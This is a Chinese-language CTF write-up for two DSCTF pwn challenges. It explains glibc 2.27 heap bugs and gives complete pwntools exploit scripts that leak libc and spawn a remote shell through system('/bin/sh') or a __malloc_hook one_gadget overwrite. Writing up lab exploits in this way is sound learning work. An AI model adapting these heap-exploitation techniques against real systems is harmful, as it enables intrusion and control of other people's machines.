DSCTF pwn 部分wp
原谅我懒,不想附图了,客官老爷们多包涵。
拿了第七:

出了两道pwn:
fuzzerinstrospector
Case 6 有带rdi的任意指针调用,只要泄露libc即可。
rdi指向的内容可控。
add函数和edit函数功能相似。add函数malloc指定大小0x108。
前八个字节是自己写进的东西,后面字节是类似于一个字典的东西。通过字典才能打印。
可以先free掉七个堆块进入tcache填满,然后delete堆块进入unsortedbin。
不过申请unsortedbin的时候,他似乎会先检查符合tcache大小,然后放进tcache再分配,这时候会清空fd,就不能达到泄露的目的。
所以我通过合并操作先让他与旁边堆块合并再与top chunk合并,保留下来了fd指针。
然后利用scanf读入失败,就不会给前八字节赋值,把fd保留下来了,然后泄露libc基址。
最后调用system(‘/bin/sh’)即可。
exp:
from secrets import choice
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/DSCTF/fuzzerinstrospector')
r =remote('39.105.185.193',30007)
libc = ELF('/mnt/hgfs/ubuntu/DSCTF/libc-2.27.so')
def menu(choice):
r.recvuntil(b"Your choice: ")
r.sendline(str(choice))
def add(index,content):
menu(1)
r.recvuntil(b"Index: ")
r.sendline(str(index))
for i in range(8):
r.recvuntil(b'Index')
r.sendline(b'+')
r.recvuntil(b"Bitmap: ")
r.send(content)
def delete(index):
menu(4)
r.recvuntil(b"Index: ")
r.sendline(str(index))
def show(index):
menu(3)
r.recvuntil(b"Index: ")
r.sendline(str(index))
def edit(index,content):
menu(2)
r.recvuntil(b"Index: ")
r.sendline(str(index))
for i in range(8):
r.recvuntil(b'Index')
r.sendline(content[i])
r.recvuntil(b"Bitmap: ")
r.send(indexindex)
indexindex = b''
for i in range(0x100):
indexindex += i.to_bytes(1,'little')
add(0,b'a'*0x100)
add(1,b'a'*0x100)
add(2,b'a'*0x100)
add(3,b'a'*0x100)
add(4,b'a'*0x100)
add(5,b'a'*0x100)
add(6,b'a'*0x100)
add(7,b'a'*0x100)
add(8,b'a'*0x100)
[delete(i) for i in range(9)]
[add(j,indexindex) for j in range(7)]
add(7,indexindex)
show(7)
fd = 0
for k in range(6):
r.recvuntil(b'Bit: ')
tmp = int(r.recvuntil(b'\n')[:-1],10)
fd += tmp<<(k*8)
libc_base = fd-0x3ebca0
system_addr = libc_base+libc.sym["system"]
delete(0)
menu(1)
r.sendlineafter(b'Index: ',b'0')
for i in range(8):
r.sendlineafter(b'Index: ',str(b'/bin/sh\x00'[i]).encode())
r.sendafter(b'Bitmap: ',indexindex)
menu(6)
r.sendline(str(system_addr))
# gdb.attach(r)
log.success("libc_base: "+hex(libc_base))
r.interactive()
rusty
-
1.add功能:add 0-0x100大小的堆块。并且调用的是calloc。
-
2.edit功能:可以有off by one。
-
3.delete功能:删除上一个add的堆块,也就是说delete是从下往上free的。
-
4.show功能:有utf-8编码。
有了off by one是可以构造chunk overlapping的,不过问题出在这道题调用的是calloc,会清空堆块内内容,并且free的不可控性让这道题难度增大。
思路一:glibc2.27版本下,我的最初想法是看到了程序自带的0x1800大小的堆管理结构,我想泄露堆基址后通过古老版本已知堆基址的unlink改变堆管理结构中的堆指针。这样就可以写入已知的栈地址,进行泄露libc和getshell。不过堆地址在我看来几乎是不可泄露的。原因1:要show的话就必须使当前堆块没有被free掉,当前堆块没有被free掉的话,能show出堆地址就只有一种可能性了:通过unsortedbin分割一个堆块,然后show这个堆块里的内容。不过可惜,这道题用的是calloc,会清空堆块内容,所以泄露堆基址这一思路我放弃了。
思路二:由于这道题的delete是从下往上free,所以off by one基本上没有什么用。因为off by one构造chunk overlapping基本都是往下构造的。我想到用off by one转换成off by null向上合并。在glibc2.27版本下是没有对size和prev_size的检测的。那么我们可以采用夹心饼攻击。通过两个unsortedbin中间夹tcache bin来泄露libc基址。同时由于calloc不分配tcache,所以我在中间也夹了fastbin。最终用fastbin attack getshell。
问题来了,我们off by null合并堆块得delete下方堆块触发合并,那么就得先在上方构造一个unsortedbin,再free掉下方堆块触发合并。
但是delete是由下往上的free,如何在不free掉下方堆块的情况下,使得上方堆块出现一个unsortedbin呢?
我这里采用的方法是先将0x80与0x100大小的tcache空闲列表填满,然后free掉两个0x100大小的堆块合并成一个0x200大小的unsortedbin,然后将其切割成0x90大小的unsortedbin。
这样上方就会有一个0x90大小的unsortedbin(带fd,bk)。
然后再在下方calloc(0xf8)堆块,free掉若干的0xf8大小的堆块后。然后通过off by one edit最顶上的0xf8大小的堆块,向第二个0xf8大小的堆块写入fake_prev_size和\x00字节,最后free掉第二个0xf8大小的堆块触发向上合并。
这时候再切割大unsortedbin到未被free掉的0x100大小的堆块,然后用show功能show出libc基址。
这里出题人show出的是utf-8编码后的字符。
我python3可以直接解码,但是python2会出一点问题,得分段获取。
然后就是fastbin attack。打malloc_hook填入ogg。
不过我本地早就通了远程通不了。
由于我的堆风水过于复杂,被迫换ubuntu18调试,换了ubuntu18之后libc小版本一致,这解决了第一个堆风水的问题,那就是原有程序free掉了一个0x100堆块,导致我多填充了一个。
解决掉这个问题之后我的远程还是通不了,最后尝试在malloc_hook附近爆破0x7f字节的地址成功了。
exp:
from pickle import TRUE
from pwn import *
from time import sleep
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/home/cru5h/bin/2022/11/rusty')
# r = remote('39.105.187.159',30008)
libc = ELF('/home/cru5h/bin/2022/11/libc-2.27.so')
def menu(choice):
r.recvuntil(b'Command:')
r.sendline(str(choice))
def add(size):
menu(1)
r.recvuntil(b'Size: ')
r.sendline(str(size))
def edit(index,size,content):
menu(2)
r.recvuntil(b'Idx: ')
r.sendline(str(index))
r.recvuntil(b'Len: ')
r.sendline(str(size))
r.recvuntil(b'Data: ')
r.sendline(content)
def delete():
menu(3)
def show(index):
menu(4)
r.recvuntil(b'Idx: ')
r.sendline(str(index))
def pwn(i):
r.recvuntil(b'Let\'s build a rusty house!\n')
stack_addr = int(r.recvuntil(b'\n')[:-1],16)
[add(0x88) for i in range(8)] #0-7
[add(0x100) for i in range(9)]#8-16
[add(0x68) for k in range(8)]#17-24
[delete() for j in range(17)]
add(0x80)#8
add(0x100)#9
[add(0xf8) for k in range(9)]#10-18
[delete() for l in range(7)]
edit(10,0xf9,b'a'*0xf0+p64(0xc70)+b'\x00')#9-11 exists
delete()
add(0x70)#11
[add(0x100) for o in range(6)]#12-17
add(0xf0)#18
[add(0x60*2) for o in range(4)]#19-22
add(0x40)#23
show(10)
r.recvuntil(b'Data: ')
# something= r.recvuntil(b'\x7f')[-6:].decode('utf8')
# print(something)
r.recv(2)
# res = r.recvuntil(b'\x7f')
# print(res)
# print(len(res))
# libc_base = u64(res.ljust(8,'\x00')) - 0x3ebca0
libc_base = u64(r.recvuntil(b'\x7f').decode('utf8').ljust(8,'\x00'))
libc_base = (libc_base<<8)+0xa0-0x3ebca0
print(hex(libc_base))
one_gadget = libc_base+0x4f302
malloc_hook = libc_base+libc.sym["__malloc_hook"]
print(hex(malloc_hook))
# edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8))
edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8 - 0x48 +i))
# gdb.attach(r)
add(0x60)#24
add(0x68)#25
edit(25,0x20+0x48-i,b'g'*(0xb-8 +0x48-i)+p64(one_gadget))
# pause()
# log.success("libc_base: "+hex(libc_base))
# gdb.attach(r)
menu(1)
r.interactive()
for i in range(0x60):
r = remote('39.105.187.159',30008)
try:
print(i)
pwn(i)
except EOFError:
r.close()